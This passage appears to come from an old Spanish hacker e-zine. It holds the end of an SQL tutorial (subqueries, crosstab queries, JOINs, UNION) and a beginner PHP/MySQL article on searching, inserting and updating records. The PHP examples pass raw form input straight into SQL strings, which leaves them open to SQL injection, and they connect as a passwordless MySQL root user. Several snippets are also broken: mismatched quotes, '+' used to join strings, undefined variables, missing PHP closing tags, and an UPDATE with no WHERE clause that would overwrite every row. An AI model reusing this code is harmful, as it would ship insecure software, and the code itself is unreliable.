  ventas cuyo salario es mayor que el de todos los jefes y directores.


    SELECT DISTINCTROW NombreProducto, Precio_Unidad FROM Productos
    WHERE (Precio_Unidad = (SELECT Precio_Unidad FROM Productos WHERE 
    Nombre_Producto = "Caraotas Negras"); 


  Obtiene  una  lista  con  el  nombre  y el precio unitario  de todos los
  productos con el mismo precio que las caraotas negras.


    SELECT DISTINCTROW Nombre_Contacto, Nombre_Compa~ia, Cargo_Contacto,
    Telefono FROM Clientes WHERE (ID_Cliente IN (SELECT DISTINCTROW 
    ID_Cliente FROM Pedidos WHERE Fecha_Pedido >= #04/1/99# <#07/1/99#); 


  Obtiene una lista de las compa~ias y los contactos de todos los clientes
  que han realizado un pedido en el segundo trimestre de 1999.


    SELECT Nombre, Apellidos FROM Empleados AS E WHERE EXISTS
    (SELECT * FROM Pedidos AS O WHERE O.ID_Empleado = E.ID_Empleado); 


  Selecciona el nombre de todos los empleados que han reservado al menos un
  pedido.


    SELECT DISTINCTROW Pedidos.Id_Producto, Pedidos.Cantidad,
    (SELECT DISTINCTROW Productos.Nombre FROM Productos WHERE 
    Productos.Id_Producto = Pedidos.Id_Producto) AS ElProducto FROM 
    Pedidos WHERE Pedidos.Cantidad > 150 ORDER BY Pedidos.Id_Producto; 


  Recupera el Codigo del Producto y la Cantidad pedida de la tabla pedidos,
  extrayendo el nombre del producto de la tabla de productos.

    
  8. Consultas de Referencias Cruzadas
     ---------------------------------

  Una  consulta  de  referencias  cruzadas  es  aquella  que  nos  permite
  visualizar los datos en filas y en columnas, estilo tabla, por ejemplo:
  
  ------------------------------------
  |  Producto / A~o  |  2000 | 2001  |
  ------------------------------------
  |    Pantalones    | 1.250 | 3.000 |
  |     Camisas      | 8.560 | 1.253 |
  |     Zapatos      | 4.369 | 2.563 |
  ------------------------------------
 

  Si  tenemos  una  tabla  de productos y otra tabla  de pedidos, podemos
  visualizar  en  total  de  productos  pedidos  por a~o para un articulo
  determinado, tal y como se visualiza en la tabla anterior.


  La sintaxis para este tipo de consulta es la siguiente:

    TRANSFORM funcion agregada instruccion select PIVOT campo pivot 
    [IN (valor1[, valor2[, ...]])] 

  En donde: 

  funcion agregada: Es una funcion SQL agregada que opera sobre los datos
                    seleccionados.

  instruccion select: Es una instruccion SELECT.

  campo pivot:   Es el campo o expresion que desea utilizar para crear las
                 cabeceras de la columna en el resultado de la consulta.

  valor1, valor2: Son  valores fijos utilizados para crear las cabeceras de
                  la columna.


  Para  resumir  datos  utilizando  una  consulta de referencia cruzada, se
  seleccionan  los  valores  de los campos o expresiones especificadas como
  cabeceras de columnas de  tal  forma  que  pueden  verse  los datos en un
  formato mas compacto que con una consulta de seleccion.

  TRANSFORM es opcional pero si se incluye es la primera instruccion de una
  cadena  SQL. Precede  a  la instruccion  SELECT que especifica los campos
  utilizados como encabezados de fila y una clausula GROUP BY que especifica
  el agrupamiento de las filas. Opcionalmente puede incluir otras clausulas
  como  por  ejemplo  WHERE, que especifica una seleccion  adicional  o  un
  criterio de ordenacion.

  Los  valores  devueltos  en  campo  pivot se utilizan como encabezados de
  columna  en el resultado de  la  consulta. Por ejemplo, al  utilizar  las
  cifras  de  ventas en el mes de la venta como pivot en  una  consulta  de
  referencia  cruzada  se crearian 12 columnas. Puede restringir el campo }
  pivot  para  crear  encabezados  a  partir  de los valores fijos (valor1,
  valor2) listados en la clausula opcional IN.

  Tambien puede incluir valores fijos, para los que no existen datos, para
  crear columnas adicionales.

  Ejemplos:

    TRANSFORM Sum(Cantidad) AS Ventas SELECT Producto, Cantidad FROM 
    Pedidos WHERE Fecha Between #01-01-01# And  #12-31-01# GROUP BY Producto
    ORDER BY Producto PIVOT DatePart("m", Fecha); 


  Crea una consulta de tabla de referencias cruzadas que muestra las ventas
  de  productos  por  mes  para  un  a~o  especifico. Los meses aparecen de
  izquierda a derecha como columnas y los nombres de los productos aparecen
  de arriba hacia abajo como filas.

    TRANSFORM Sum(Cantidad) AS Ventas SELECT Compania FROM Pedidos 
    WHERE Fecha Between #01-01-01# And  #12-31-01# GROUP BY Compania 
    ORDER BY Compania PIVOT "Trimestre " & DatePart("q", Fecha)
    In ('Trimestre1','Trimestre2', 'Trimestre 3', 'Trimestre 4'); 

  Crea una consulta de tabla de referencias cruzadas que muestra las ventas
  de  productos  por  trimestre  de  cada proveedor en el a~o indicado. Los
  trimestres aparecen de izquierda a derecha como columnas y los nombres de
  los proveedores aparecen de arriba hacia abajo como filas.

  Un caso practico: 

  Se  trata  de  resolver  el  siguiente  problema:  tenemos  una  tabla de
  productos  con  dos  campos, el codigo y el nombre  del producto, tenemos
  otra tabla de pedidos en la que anotamos el codigo del producto, la fecha
  del  pedido  y  la  cantidad  pedida. Deseamos  consultar  los totales de
  producto por a~o, calculando la media anual de ventas.

  Estructura y datos de las tablas: 

  1. Articulos: 
  -------------------
  | ID | Nombre     |
  -------------------
  | 1  | Zapatos    |
  | 2  | Pantalones | 
  | 3  | Blusas     |
  -------------------

  2. Pedidos: 
  
  ------------------------------
  | Id |    Fecha   | Cantidad |
  ------------------------------
  | 1  | 11/11/2000 |   250    |
  | 2  | 11/11/2000 |   125    |
  | 3  | 11/11/2000 |   520    |
  | 1  | 12/10/2000 |   50     |
  | 2  | 04/05/2000 |   250    |
  | 3  | 05/08/2000 |   100    |
  | 1  | 01/01/2001 |   40     |
  | 2  | 02/08/2001 |   60     |
  | 3  | 05/10/2001 |   70     |
  | 1  | 12/12/2001 |   8      |
  | 2  | 15/12/2001 |   520    |
  | 3  | 17/10/2001 |   1250   |
  ------------------------------

  Para resolver la consulta planteamos la siguiente consulta: 

  TRANSFORM Sum(Pedidos.Cantidad) AS Resultado SELECT Nombre AS Producto, 
  Pedidos.Id AS Codigo, Sum(Pedidos.Cantidad) AS TOTAL, Avg(Pedidos.Cantidad) 
  AS Media FROM Pedidos INNER JOIN Articulos ON Pedidos.Id = Articulos.Id 
  GROUP BY Pedidos.Id, Articulos.Nombre PIVOT Year(Fecha); 

  y obtenemos el siguiente resultado: 
  
  --------------------------------------------------------
  | Producto   | Codigo  | TOTAL | Media   | 2000 | 2001 |
  --------------------------------------------------------
  | Zapatatos  |    1    | 348   | 87      |  300 |  48  |
  | Pantalones |    2    | 955   | 238,75  |  375 | 580  |
  | Blusas     |    3    | 1940  | 485     |  620 | 1320 |
  --------------------------------------------------------


  Comentarios a la consulta:
  --------------------------

  La   clasula   TRANSFORM  indica  el valor que deseamos visualizar en las
  columnas que realmente pertenecen a la consulta, en este caso 2000 y 2001,
  puesto que las demas columnas son opcionales.


  SELECT  especifica  el  nombre  de  las  columnas opcionales que deseamos
  visualizar, en  este  caso  Producto, Codigo, Total y Media, indicando el
  nombre del campo que deseamos mostrar  en  cada  columna o el valor de la
  misma. Si incluimos una funcion de calculo el resultado se hara en base a
  los datos de la fila actual y no al total de los datos.

  FROM especifica el origen de los datos. La primera tabla que debe figurar
  es  aquella de donde deseamos extraer los datos, esta tabla debe contener
  al  menos  tres  campos, uno  para los titulos de la fila, otros para los
  titulos de la columna y otro para calcular el valor de las celdas.

  En  este  caso  en concreto se deseaba visualizar el nombre del producto,
  como el tabla de  pedidos solo figuraba el codigo del mismo se a~adio una
  nueva columna en  la  clausula select llamada Producto que se corresponda
  con el campo Nombre de la tabla de articulos. Para vincular el codigo del
  articulo de la tabla  de  pedidos  con  el  nombre  del misma de la tabla
  articulos se inserto la clausula INNER JOIN.

  La  clausula  GROUP BY  especifica  el  agrupamiento  de  los  registros,
  contrariamente a los manuales de instruccion esta clausula no es opcional
  ya  que debe figurar siempre y debemos agrupar los registros por el campo
  del  cual  extraemos la informacion. En este caso existen  dos campos del
  cual  extraemos  la informacion: pedidos.cantidad y articulos.nombre, por
  ellos agrupamos por los campos.

  Para  finalizar  la  clausula  PIVOT indica el nombre de las  columnas no
  opcionales, en este caso 2000 y 2001 y como vamos a el dato que aparecera
  en  las  columnas, en  este  caso  empleamos  el a~o en que se produjo el
  pedido, extrayendolo del campo pedidos.fecha.

  Otras posibilidades de fecha de la clausula pivot son las siguientes: 

  a. Para agrupamiento por Trimestres 
     PIVOT "Tri " & DatePart("q",[Fecha]); 

  b. Para agrupamiento por meses (sin tener en cuenta el a~o) 
     PIVOT Format([Fecha],"mmm")
     In ("Ene", "Feb", "Mar", "Abr", "May", "Jun", "Jul",
         "Ago", "Sep", "Oct", "Nov", "Dic");

  c. Para agrupar por dias 
     PIVOT Format([Fecha],"Short Date"); 


  
  9. Consultas de Union Internas
     ---------------------------   

  Las vinculaciones entre tablas se realiza mediante la clausula INNER  que
  combina registros de dos tablas siempre que haya concordancia  de valores
  en un campo comun. Su sintaxis es:

    SELECT campos FROM tb1 INNER JOIN tb2 ON tb1.campo1 comp tb2.campo2 

  En donde 

  tb1, tb2: Son los nombres de las tablas desde las que se combinan los
            registros.

  campo1, campo2: Son los nombres de los campos que se combinan. Si  no son
                  numericos, los campos deben ser del mismo tipo de datos y
                  contener el mismo tipo de datos, pero no tienen que tener
                  el mismo nombre.
  comp: Es cualquier operador de comparacion relacional. 


  Se  puede  utilizar una operacion INNER JOIN en cualquier  clausula FROM.
  Esto crea una combinacion por equivalencia, conocida  tambien  como union
  interna. Las combinaciones Equi son las mas comunes; estas  combinan  los
  registros de dos tablas siempre que  haya concordancia  de  valores en un
  campo comun a ambas tablas. Se puede  utilizar  INNER JOIN con las tablas
  departamentos y Empleados para seleccionar todos  los  empleados  de cada
  departamento. Por el contrario, para seleccionar todos los  departamentos
  (incluso si alguno de ellos no tiene ningun empleado  asignado) se emplea
  LEFT JOIN o todos los empleados (incluso si  alguno  no  esta  asignado a
  ningun departamento), en este caso RIGHT JOIN.

  Si  se  intenta combinar campos que contengan datos Memo u Objeto OLE, se
  produce  un  error. Se pueden combinar dos campos numericos cualesquiera,
  incluso si son de diferente tipo de datos. Por ejemplo, puede combinar un
  campo  Numerico  para  el que la propiedad Size de su objeto  Field  esta
  establecida como Entero, y un campo Contador.

  El ejemplo siguiente muestra como podria combinar las tablas Categorias y
  Productos basandose en el campo IDCategoria:

    SELECT Nombre_Categoria, NombreProducto 
    FROM Categorias INNER JOIN Productos 
    ON Categorias.IDCategoria = Productos.IDCategoria; 


  En  el  ejemplo  anterior, IDCategoria es el campo combinado, pero no esta
  incluido  en  la  salida  de  la  consulta  ya  que no esta incluido en la
  instruccion SELECT. Para incluir el campo combinado, incluir el nombre del
  campo en la instruccion SELECT, en este caso, Categorias.IDCategoria.

  Tambien  se  pueden  enlazar  varias clausulas ON en una instruccion JOIN,
  utilizando la sintaxis siguiente:

    SELECT campos 
    FROM tabla1 INNER JOIN tabla2 
    ON tb1.campo1 comp tb2.campo1 AND 
    ON tb1.campo2 comp tb2.campo2) OR 
    ON tb1.campo3 comp tb2.campo3)]; 

  Tambien puede anidar instrucciones JOIN utilizando la siguiente sintaxis: 

    SELECT campos 
    FROM tb1 INNER JOIN 
    (tb2 INNER JOIN [( ]tb3 
    [INNER JOIN [( ]tablax [INNER JOIN ...)] 
    ON tb3.campo3 comp tbx.campox)] 
    ON tb2.campo2 comp tb3.campo3) 
    ON tb1.campo1 comp tb2.campo2; 

  Un LEFT JOIN o un RIGHT JOIN puede anidarse dentro de un INNER JOIN, pero
  un INNER JOIN no puede anidarse dentro de un LEFT JOIN o un RIGHT JOIN.


  Ejemplo:

  SELECT DISTINCTROW Sum([Precio unidad] * [Cantidad]) AS [Ventas], 
  [Nombre] & " " & [Apellidos] AS [Nombre completo] FROM [Detalles de pedidos], 
  Pedidos, Empleados, Pedidos INNER JOIN [Detalles de pedidos] ON Pedidos. 
  [ID de pedido] = [Detalles de pedidos].[ID de pedido], Empleados INNER JOIN 
  Pedidos ON Empleados.[ID de empleado] = Pedidos.[ID de empleado] GROUP BY 
  [Nombre] & " " & [Apellidos]; 


  Crea  dos  combinaciones  equivalentes: una  entre las tablas Detalles de
  pedidos y Pedidos, y la otra entre las tablas Pedidos  y  Empleados. Esto
  es necesario ya que la tabla Empleados no contiene datos  de  ventas y la
  tabla Detalles de pedidos no contiene datos de los empleados. La consulta
  produce una lista de empleados y sus ventas totales.

  Si  empleamos  la  clausula  INNER  en la consulta se seleccionaran  solo
  aquellos registros de la tabla de la que hayamos escrito a  la  izquierda
  de INNER JOIN que contengan al menos un registro de la tabla que  hayamos
  escrito  a  la  derecha. Para  solucionar  esto tenemos dos clausulas que
  sustituyen a la palabra clave INNER, estas clausulas son LEFT y RIGHT.

  LEFT  toma  todos  los  registros  de  la tabla de la izquierda aunque no
  tengan  ningun  registro  en  la tabla  de la izquierda. RIGHT realiza la
  misma operacion pero al contrario, toma  todos  los registros de la tabla
  de la derecha aunque no tenga ningun registro en la tabla de la izquierda.


  10. Consultas de Union Externas
      ---------------------------

  Se  utiliza  la  operacion  UNION  para  crear  una  consulta  de  union,
  combinando los resultados de dos o mas consultas o tablas independientes.

  Su sintaxis es:

    [TABLE] consulta1 UNION [ALL] [TABLE] 
    consulta2 [UNION [ALL] [TABLE] consultan [ ... ]] 

  En donde: 
 
  consulta1, consulta2 ,... :  Son  instrucciones  SELECT, el nombre de una
                               consulta almacenada o el nombre de una tabla
                               almacenada precedido  por  la  palabra clave
                               TABLE.

  Puede  combinar  los   resultados   de  dos  o  mas  consultas, tablas  e
  instrucciones  SELECT, en  cualquier orden, en una unica operacion UNION.

  El ejemplo siguiente combina una tabla existente llamada Nuevas Cuentas y
  una instruccion SELECT:

    TABLE [Nuevas Cuentas] UNION ALL SELECT * FROM Clientes 
    WHERE [Cantidad pedidos] > 1000; 


  Si no se indica lo contrario, no se devuelven registros duplicados cuando
  se utiliza la operacion UNION, no obstante puede incluir el predicado ALL
  para  asegurar  que  se devuelven todos los registros. Esto hace  que  la
  consulta se ejecute mas rapidamente. Todas las consultas en una operacion
  UNION deben pedir el  mismo  numero  de campos, no obstante los campos no
  tienen porque tener el mismo tama~o o el mismo tipo de datos.

  Se  puede  utilizar  una  clausula GROUP BY y/o HAVING en cada  argumento
  consulta para agrupar los datos devueltos. Puede  utilizar  una  clausula
  ORDER BY al final del ultimo argumento consulta para visualizar los datos
  devueltos en un orden especifico.

    SELECT [Nombre de compa~ia], Ciudad FROM Proveedores WHERE 
    Pais = 'Brasil' UNION SELECT [Nombre de compa~ia], Ciudad FROM Clientes 
    WHERE Pais = "Brasil" 


  Recupera  los  nombres y las ciudades de todos proveedores y clientes  de
  Brasil

    SELECT [Nombre de compa~ia], Ciudad FROM Proveedores WHERE
    Pais = 'Brasil' UNION SELECT [Nombre de compa~ia], Ciudad FROM Clientes
    WHERE Pais = 'Brasil' ORDER BY Ciudad 

  Recupera  los  nombres  y  las  ciudades  de todos proveedores y clientes
  radicados en Brasil, ordenados por el nombre de la ciudad

    SELECT [Nombre de compa~ia], Ciudad FROM Proveedores WHERE
    Pais = 'Brasil' UNION SELECT [Nombre de compa~ia], Ciudad FROM Clientes
    WHERE Pais = 'Brasil' UNION SELECT [Apellidos], Ciudad FROM Empleados
    WHERE Region = 'America del Sur' 


  Recupera  los nombres y las ciudades de todos los proveedores y clientes
  de  brasil  y  los  apellidos  y  las ciudades de todos los empleados de
  America del Sur

    TABLE [Lista de clientes] UNION TABLE [Lista de proveedores] 

  Recupera los nombres y codigos de todos los proveedores y clientes.


--EOF--

-[ 3x06.txt ]----------------------------------------------------------------
-[ Programacion en PHP/MySQL
 ]--------------------------[ Mr. kl0nk Manson ]-
-------------------------------------------------------[ kl0nk@uole.com.ve ]-

  Indice
  ~~~~~~

  1.- Preparando el MySQL
.
  2.- Creando una tabla llamada Ejemplo
.
  3.- Conectandonos con PHP al MySQL
.
    a.- Conexion al MySQL
.
  
  4.- Mostrar los datos de una consulta
.
    a.- Consultando la Base de Datos.
    b.- Consulta modificada de la DataBase
.
  
  5.- Buscando en nuestra base de datos
.
    a.- Formulario.html
    b.- Script de Busqueda
.
  
  6.- Agregando datos a nuestra base de datos
.
    a.- Formulario agregar.php
    b.- Combinacion de formulario y script
.
  
  7.- Modificando Datos en Nuestra Base de Datos
.
    a.- Modificar registros A.
    b.- Modificar registros B.
  
  8.- Borrar registros de nuestra base de datos
.
    a.- Borrado registros de BD
.
  
  9.- Conclusiones y Recomendaciones.



  Introduccion
  ~~~~~~~~~~~~
  
  Hola People's, nos  volvemos  a  ver en este paper, bueno lo escribi para
  complementar el articulo anterior (Programacion Basica en PHP - Ezine2 de
  0ri0n); en  este paper vamos  a  conbinar dos poderosas herramientas como
  lo son: un lenguje pre-compilado (PHP)  y  un  manejador de base de datos
  (MySQL); bueno  les  voy  a explicar en  forma  sencilla  como  insertar,
  modificar, buscar, eliminar  datos  trabajando con PHP como intermediario
  entre las salidas en HTML y el manejador de base de datos, pero para ello
  debemos  tener  instalados  PHP  y  MySQL, y  tambien  el servidor Apache
  configurado para poder usarlos ...ah, por lo menos saber las instrucciones
  basicas del PHP, como el manejo de funciones, llamados, etc ... bueno sin
  mucho  prologo ...  preparecen porque vamos a comenzar:



  1.- Preparando el MySQL
      ~~~~~~~~~~~~~~~~~~~
  
  Antes  de  seguir con PHP, vamos a preparar la base de datos  que vamos a
  utilizar. Una vez instalado MySQL, vamos a crear nuestra Base de Datos.

  EL MySQL utiliza una tabla de permisos de  usuarios, por  defecto, en  la
  instalacion  crea  el  usuario  root  sin password. Debes crear distintos
  usuarios con distintos permisos. Entre ellos, el usuario administrador de
  MySQL, con  todos  los  permisos, y  como  recomendacion de seguridad, el
  usuario  "nobody"  solo  con  el  permiso  de ver (SELECT), que es el que
  utilizaremos  para  conectarnos  al servidor de Base de Datos en nuestros 
  script.

  Para crear nuestra Base de Datos, debemos ser el administrador de MySQL o
  el root, para ello haremos lo siguiente:

  #mysqladmin create ejemplo

  NOTA: Si ya utilizas password entoces haz:
        #mysqladmin -uroot -p tupassword create ejemplo

  Ya hemos creado una Base de Datos, ahora le a~adiremos una tabla y algunos
  registros, para  lo cual copia el siguiente texto y salvalo en un archivo,
  que podriamos llamar prueba.sql .



  2.- Creando una tabla llamada Ejemplo
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

  NOTA: Ver las tablas  de  la  DataBase en  el articulo 3x13.txt,  en  la
        seccion de PHP/MYSQL (Archivo database.mysql).


  Ahora para agregarla solo nos queda hacer:

  #mysql ejemplo < database.mysql

  Cabe  destacar  el  campo  id, que  no  puede estar vacio, y  ademas  es
  autoincrementable,  lo  cual  deberemos  tener  en  cuenta  a la hora de
  actualizar  y  a~adir  registros. Si  no hemos cometido ningun error, ya
  tenemos nuestra base de datos de ejemplo en el servidor MySQL.



  3.- Conectandonos con PHP al MySQL
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

  Ya  tenemos  los  datos en  nuestra  DataBase, asi que con  el  siguiente
  script  nos  conectaremos  a la DataBase del servidor MySQL para  obtener
  los datos de un registro.


  a.- Conexion al MySQL
      ~~~~~~~~~~~~~~~~~

  Con este script podemos accesar a los registros de nuestra DataBase.

[++]
 php-mysql/conectar.php
<html> 
<body> 
 
<?php 

$conexion = mysql_connect("localhost", "root"); 
mysql_select_db("ejemplo", $conexion); 

$resultado = mysql_query("SELECT * FROM datos", $conexion);
echo "Nombre   :".mysql_result($resultado, 0, "nombre")."<br>";
echo "Direccion:".mysql_result($resultado, 0, "direccion")."<br>"; 
echo "Telefono :".mysql_result($resultado, 0, "telefono")."<br>"; 
echo "E-Mail   :".mysql_result($resultado, 0, "email")."<br>"; 
?> 
  
</body> 
</html>
[--]


  En  la  primera  linea  del  script  nos  encontramos  con   la   funcion
  mysql_connect(), que  abre  una conexion con el servidor MySQL en el Host
  especificado. Tambien  debemos  especificar  un   usuario  (nobody, root,
  etc. ),  y  si fuera necesario  un  password  para  el  usuario  indicado
  (mysql_connect("localhost", "root", "password")). El   resultado   de  la
  conexion es almacenado en la variable $conexion.

  Con  mysql_select_db(), PHP   le   dice  al  servidor  que en la conexion
  $conexion nos  queremos  conectar  a  la  base  de datos ejemplo.

  Podriamos   establecer  distintas  conexiones  a  la  DB  en   diferentes
  servidores, pero nos conformaremos con una.

  La siguiente funcion mysql_query(), es la que hace el trabajo duro, usando
  el  identificador de la conexion ($conexion), envia  una  instruccion  SQL
  al servidor MySQL para que este la procese. El resultado de esta operacion
  es almacenado en la variable $resultado.

  Finalmente, mysql_result() es usado para mostrar los valores de los campos
  devueltos  por  la  consulta ($resultado). En este ejemplo  mostramos  los 
  valores
 del registro 0, que es el primer registro, y mostramos el valor de
  los
 campos especificados.


  3.- Mostrar los datos de una consulta
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

  Ahora  que ya sabemos conectar con el servidor de BD, veremos como mostrar
  los datos por pantalla.


  a.- Consultando la Base de Datos
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~


[++] php-mysql/consulta.php
<html> 
<body> 
  
<?php 

$conexion = mysql_connect("localhost", "root");
mysql_select_db("ejemplo", $conexion); 
$result = mysql_query("SELECT nombre, email FROM datos", $conexion); 

echo "<table>\n";
echo "<tr><td>Nombre</td><td>E-Mail</td></tr> \n"; 
while ($lista = mysql_fetch_row($result)){ 
       echo ""<tr><td>$lista[0]</td><td>$lista[1]</td></tr> \n"; 
} 
echo "</table> \n"; 
?> 
  
</body> 
</html>
[--]


  En este script se ha introducido el  while(), que tiene un funcionamiento
  similar al de otros lenguajes, ejecuta una cosa mientras la condicion sea
  verdadera. En este caso, el while()  evalua la funcion mysql_fetch_row(),
  que  devuelve  un  array  con  el  contenido del registro actual (que  se
  almacena en $lista) y avanza  una  posicion  en  la  lista   de registros
  devueltos en la consulta SQL.


  b.- Consulta modificada de la DataBase
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


[++] php-mysql/consulta-m.php
<html> 
<body> 
  
<?php 
$conexion = mysql_connect("localhost", "root"); 
mysql_select_db("ejemplo", $conexion); 
$result = mysql_query("SELECT nombre, email FROM datos", $conexion); 
 if ($lista = mysql_fetch_array($result))
 {
    echo "<table> \n"; 
    echo "<tr><td>Nombre</td><td>E-Mail</td></tr> \n"; 
    do
    {
      echo "<tr><td>".$lista["nombre"]."</td><td>".$lista["email"]."</td></tr> \n";
    }
    while ($lista = mysql_fetch_array($result));
    echo "</table> \n"; 
} else { 
  echo "No se ha encontrado ningun registro"; 
} 
?> 
  
</body> 
</html>
[--]

  Esencialmente, este script hace lo mismo que el anterior. Almacenamos en
  $lista el registro  actual  con  la funcion mysql_fetch_array() que hace
  exactamente lo mismo que mysql_fetch_row(), con la exepcion que  podemos
  referenciar  a los campos por su nombre ($lista["email"]), en vez de por 
  un
 numero.

  Con la sentencia  if/else,  asignamos  a $lista el primer registro de la
  consulta, y en caso de no haber ninguno (else) mostramos un mensaje ("No
  se  ha encontrado..."). Mientras  que  con  la  sentencia do/while,  nos
  aseguramos  que  se  nos  muestren  todos los registros devueltos por la
  consulta en caso de haber mas de uno.



  4.- Buscando en nuestra base de datos
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

  Vamos  a  ver  una aplicacion, un ejemplo, de todo lo visto hasta ahora.

  Escribiremos un script que sirva para buscar una determinada cadena (que
  recibiremos  de un formulario, y la almacenamos en la variable $buscar),
  dentro de nuestra base de datos, concretamente dentro del campo "nombre".

  En  primer  lugar  escribiremos  el  texto HTML de la pagina web que nos
  servira como formulario de entrada, la llamaremos formulario.html.

  
  a.- Formulario.html
      ~~~~~~~~~~~~~~~


[++] php-mysql/formulario.html
<html> 
<body> 
<form method="POST" action="buscar.php"> 
<strong>Palabra clave:</strong>
<input type="text" name="buscar" size="20"><br><br>
<input type="submit" value="buscar" name="buscar"> 
</form> 
</body> 
</html>
[--]


  El  siguiente  script  de  busqueda lo llamaremos buscar.php, y  sera el
  encargado  de  hacer  la  busqueda  en  la Base de Datos, y devolver por
  pantalla los registros encontrados.


  b.- Script de Busqueda
      ~~~~~~~~~~~~~~~~~~


[++] php-mysql/buscar.php
<html> 
<body> 
  
<?php 
 if (!isset($buscar)){ 
      echo "Debe especificar una cadena a buscar"; 
      echo "</html></body> \n"; 
      exit; 
 } 

 $conexion = mysql_connect("localhost", "root");
 mysql_select_db("ejemplo", $conexion); 
 $result = mysql_query("SELECT * FROM datos WHERE nombre LIKE '%$buscar%' ORDER BY nombre", $conexion);
 if ($lista = mysql_fetch_array($result))
 {
      echo "<table border = '1'> \n"; 
      echo "<tr> \n"; 
      while ($field = mysql_fetch_field($result))
      {
             echo "<td>$field->name</td> \n"; 
      } 
      echo "</tr> \n"; 
      do
      {
            echo "<tr> \n"; 
            echo "<td>".$lista["id"]."</td> \n"; 
            echo "<td>".$lista["nombre"]."</td> \n"; 
            echo "<td>".$lista["direccion"]."</td> \n"; 
            echo "<td>".$lista["telefono"]."</td> \n"; 
            echo "<td><a href='mailto:".$lista["email"]."'>".$lista["email"]."</a></td> \n"; 
            echo "</tr> \n"; 
      }
      while ($lista = mysql_fetch_array($result));
             echo "</table> \n"; 
 } else
 {
   echo "No se ha encontrado ningun registro"; 
 } 
?> 
  
</body> 
</html>
[--]


  Lo primero que comprobamos es que el contenido de la variable $buscar que
  recibimos del la pagina web formulario.html no es una cadena vacia,y esto
  lo hacemos con la funcion isset() que devuelve 'falso' si la variable que
  recibe esta vacia. A la funcion le anteponemos el signo admiracion (!) que
  es equivalente a un NOT, para convertirlo  en 'verdadero' en caso  de que
  la variable este vacia, y en es caso terminamos la ejecucion  del  script
  con exit.

  Lo  mas  importante de este script, es sin duda la sentencia  SQL  que le
  enviamos  al  servidor MySQL, y mas concretamente  la  condicion  que  le
  imponemos, WHERE nombre LIKE '%$buscar%'. Con la  sentencia LIKE buscamos
  cualquier ocurrencia de la cadena contenida en  $buscar, mientras que con
  los signos de porcentaje (%) indicamos el lugar de  la  coincidencia, por
  ejemplo, si hubiesemos puesto nombre LIKE '%$buscar', buscariamos cualquier
  ocurrencia al  final del campo"nombre", mientras que si hubiesemos puesto
  nombre LIKE '$buscar%', buscariamos cualquier ocurrencia al principio del
  campo "nombre".



  5.- Agregando datos a nuestra base de datos
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

  En esta leccion vamos ver  como podemos a~adir nuevos registros a nuesta
  DB. La recogida de datos la vamos a hacer a traves de un interfaz de web.
  En  primer  lugar vamos a crear una pagina web con un simple formulario,
  con los campos que deseamos.


  a.- Formulario agregar.php
      ~~~~~~~~~~~~~~~~~~~~~~


[++] php-mysql/agregar.html
<html>
<body>

<form method="post" action="agregar.php">
Nombre   :<input type="text" name="nombre"><br>
Direccion:<input type="text" name="direccion"><br>
Telefono :<input type="text" name="telefono"><br>
E-mail   :<input type="text" name="email"><br>
<input type="Submit" name="enviar" value="Agregar Informacion">
</form>

</body>
</html>
[--]


  Hemos creado un formulario donde recoger los datos, y una vez introducidos
  ejecutamos un script llamado agregar.php, pues veamos como es este script.



[++] php-mysql/agregar.php
<html>
<body>

<?php
$conexion = mysql_connect("localhost", "root");
mysql_select_db("ejemplo",$db);

$sql = "INSERT INTO datos (nombre, direccion, telefono, email) " +
  "VALUES ('$nombre', '$direccion', '$telefono', '$email')";
$result = mysql_query($sql);
echo "Hemos recibidos sus datos\n";

</body>
</html>
[--]


  Como  se  puede ver, para introducir un nuevo registro, utilizamos la ya
  conocida funcion mysql_query(), la cual tambien usamos para las consultas,
  y usaremos para las actualizaciones, es decir una se~ora funcion. Aaah!,
  una cosa muy importante, para poder a~adir o modificar registros debemos
  tener  permiso para ello en el servidor MySQL, por eso  en  este caso me
  conecto como root, pero podria ser cualquier otro usuario.


  b.- Combinacion de formulario y script
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

[++] php-mysql/agregar2.php
<html>
<body>

<?php 
if ($enviar) {

   $conexion = mysql_connect("localhost", "root");
   mysql_select_db("ejemplo",$db);
   $sql = "INSERT INTO datos (nombre, direccion, telefono, email) ".
     "VALUES ('$nombre', '$direccion', '$telefono', '$email')";
   $result = mysql_query($sql);
   echo "Hemos recibido sus datos.\n"; 
}else{
?> 
  
   <form method="post" action="agregar2.php">
   Nombre   :<input type="text" name="nombre"><br>
   Direccion:<input type="text" name="direccion"><br>
   Telefono :<input type="text" name="telefono"><br>
   E-mail   :<input type="text" name="email"><br>
   <input type="Submit" name="enviar" value="Agregar informacion">
   </form> 
  
<?php 
} 
?> 

</body>
</html>
[--]
 

  6.- Modificando Datos en Nuestra Base de Datos
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

  Lo primero es modificar hay que tener permiso para ello en el servidor de
  BD, el resto nos viene de  corrido. Primero seleccionamos el registro que
  deseamos modificar, y luego, mandamos una consulta con la modificaciones,
  o ambas cosas a la vez. Suponemos que las modificaciones las recogemos de
  un formulario como el de la leccion anterior .

  
  a.- Modificar Registros A
      ~~~~~~~~~~~~~~~~~~~~~

[++] php-mysql/modificar.php
<html>
<body>

<?php 
if (isset($id)){
   $conexion = mysql_connect("localhost", "root");
   mysql_select_db("ejemplo",$db); 
   $sql = "SELECT * FROM datos WHERE id = $id" 
   $result = mysql_query($sql);
   $sql = "UPDATE datos SET nombre='$nombre', direccion='$direccion',".
      "telefono='$telefono', email='$email'";
   $result = mysql_query($sql); 
}else{
   echo "Debe especificar un 'id'.\n";
} 

</body>
</html>

[--]

O bien,


  b.- Modificar Registros B
      ~~~~~~~~~~~~~~~~~~~~~
 
[++] php-mysql/modificar2.php
<html>
<body>

<?php 
if (isset($id)){
   $conexion = mysql_connect("localhost", "root");
   mysql_select_db("ejemplo",$db); 
   $sql = "UPDATE datos SET nombre='$nombre', direccion='$direccion',".
      "telefono='$telefono', email='$email' WHERE id=$id";
   $result = mysql_query($sql);
}else{
   echo "Debe especificar un 'id'.\n";
}

</body>
</html>

[--]


  7.- Borrar registros de nuestra base de datos
